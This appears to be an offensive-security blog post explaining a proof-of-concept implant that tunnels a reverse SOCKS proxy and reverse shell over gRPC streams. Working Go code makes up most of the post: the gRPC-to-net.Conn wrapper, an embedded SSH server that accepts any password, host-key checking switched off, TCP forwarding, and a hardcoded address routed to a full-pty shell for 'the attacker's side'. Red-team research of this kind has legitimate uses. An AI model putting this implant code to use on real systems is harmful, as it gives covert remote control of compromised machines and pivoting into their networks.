# tl;dr I've recently wrapped my head around painlessly implementing Chisel-like reverse SOCKS over gRPC. The PoC implementation is available at https://github.com/zimnyaa/grpc-ssh-socks and a toy reverse shell PoC with an embedded socks proxy is at https://github.com/zimnyaa/grpcssh > **update:** grpcssh has recently been updated to support proper concurrent connections Here it is coming together: ![[Pasted image 20230926160947.png]] # grpc-ssh-socks mechanism There are a number of ways to implement reverse socks proxies. With gRPC-based implants, specifically, the most useful feature is the gRPC bi-directional streams. When defining a simple protobuf message containing of only a byte array, this is essentially just a pipe: ```protobuf syntax = "proto3"; package grpctun; option go_package = "./grpctun"; service TunnelService { rpc Tunnel(stream TunnelData) returns (stream TunnelData); } message TunnelData { bytes data = 1; } ``` Considering that `net.Conn` is a simple interface to implement, we can upgrade our gRPC stream to a full-on network connection: **grpcconn.go:** ```go type SendRecvGRPC interface { Send(m *grpctun.TunnelData) error Recv() (*grpctun.TunnelData, error) } type GrpcConn struct { stream SendRecvGRPC rbuf *bytes.Buffer wbuf *bytes.Buffer mu sync.Mutex } func NewGrpcServerConn(stream grpctun.TunnelService_TunnelServer) *GrpcConn { return &GrpcConn{ stream: stream, rbuf: &bytes.Buffer{}, wbuf: &bytes.Buffer{}, } } func NewGrpcClientConn(stream grpctun.TunnelService_TunnelClient) *GrpcConn { return &GrpcConn{ stream: stream, rbuf: &bytes.Buffer{}, wbuf: &bytes.Buffer{}, } } func (c *GrpcConn) Read(b []byte) (n int, err error) { for c.rbuf.Len() == 0 { in, err := c.stream.Recv() if err != nil { return 0, err } c.rbuf.Write([]byte(in.GetData())) } return c.rbuf.Read(b) } func (c *GrpcConn) Write(b []byte) (n int, err error) { c.mu.Lock() defer c.mu.Unlock() c.wbuf.Write(b) if err := c.flush(); err != nil { return 0, err } return len(b), nil } func (c *GrpcConn) flush() error { if err := c.stream.Send(&grpctun.TunnelData{Data: c.wbuf.Bytes()}); err != nil { return err } c.wbuf.Reset() return nil } // .. snip .. ``` The question now is how we can use that now with off-the-shelf libraries to achieve proxying. I've opted to go the same way as Chisel does and spin up an SSH connection, with the gRPC client acting as a SSH server. **client.go:** ```go client := grpctun.NewTunnelServiceClient(grpcconn) stream, err := client.Tunnel(context.Background()) if err != nil { log.Fatalf("Failed to open stream: %v", err) } nConn := share.NewGrpcClientConn(stream) config := &ssh.ServerConfig{ PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) { return nil, nil }, } // .. snip .. sshConn, chans, reqs, err := ssh.NewServerConn(nConn, config) ``` **server.go:** ```go socksconn := share.NewGrpcServerConn(stream) sshConf := &ssh.ClientConfig{ User: "root", Auth: []ssh.AuthMethod{ssh.Password("asdf")}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), } c, chans, reqs, err := ssh.NewClientConn(socksconn, "255.255.255.255", sshConf) if err != nil { fmt.Println("%v", err) return err } sshConn := ssh.NewClient(c, chans, reqs) ``` After that, a simple handler only works with `direct-tcpip` channels on the gRPC client side and forwards data: **client.go** ```go for newChannel := range chans { fmt.Println("new channel") if newChannel.ChannelType() != "direct-tcpip" { newChannel.Reject(ssh.UnknownChannelType, "unknown channel type") continue } fmt.Println("new direct-tcpip channel") channel, chreqs, _ := newChannel.Accept() go ssh.DiscardRequests(chreqs) var dReq struct { DestAddr string DestPort uint32 } ssh.Unmarshal(newChannel.ExtraData(), &dReq) dest := fmt.Sprintf("%s:%d", dReq.DestAddr, dReq.DestPort) conn, _ := net.Dial("tcp", dest) go func() { defer channel.Close() defer conn.Close() io.Copy(channel, conn) }() go func() { defer channel.Close() defer conn.Close() io.Copy(conn, channel) }() } ``` Finally, to spin up a workable SOCKS5 proxy, the ssh connection's `Dial` function is used for `go-socks5`: **server.go** ```go conf := &socks5.Config{ Dial: func(ctx context.Context, network, addr string) (net.Conn, error) { return sshConn.Dial(network, addr) }, } serverSocks, err := socks5.New(conf) if err != nil { fmt.Println(err) return err } port := findUnusedPort(1080) log.Printf("creating a socks server@%d\n", port) if err := serverSocks.ListenAndServe("tcp", fmt.Sprintf("127.0.0.1:%d", port)); err != nil { log.Fatalf("failed to create socks5 server%v\n", err) } ``` Thus, the full process is like this: ```j the client requests a tunnel -> the client binds a ssh server to tunnel -> the server connects to ssh server via the tunnel -> the socks proxy is started over the ssh connection ``` # grpcssh To add command execution to the toy implant, essentially the client creates a second ssh server (stolen from https://gist.github.com/jpillora/b480fde82bff51a06238), bound to a unix socket: **client.go:** ```go var conn net.Conn if dReq.DestAddr == "1.1.1.1" { conn, _ = net.Dial("unix", "/tmp/grpcssh") } else { conn, _ = net.Dial("tcp", dest) } ``` The handler function is then modified to create a unix socket connection instead of a network connection for a hardcoded IP address (`1.1.1.1` in this case). This allows `ssh` on the attacker's side to transparently connect to an ephemeral SSH server. Full pty is supported, making for a viable reverse shell with an added option of a full-on socks proxy.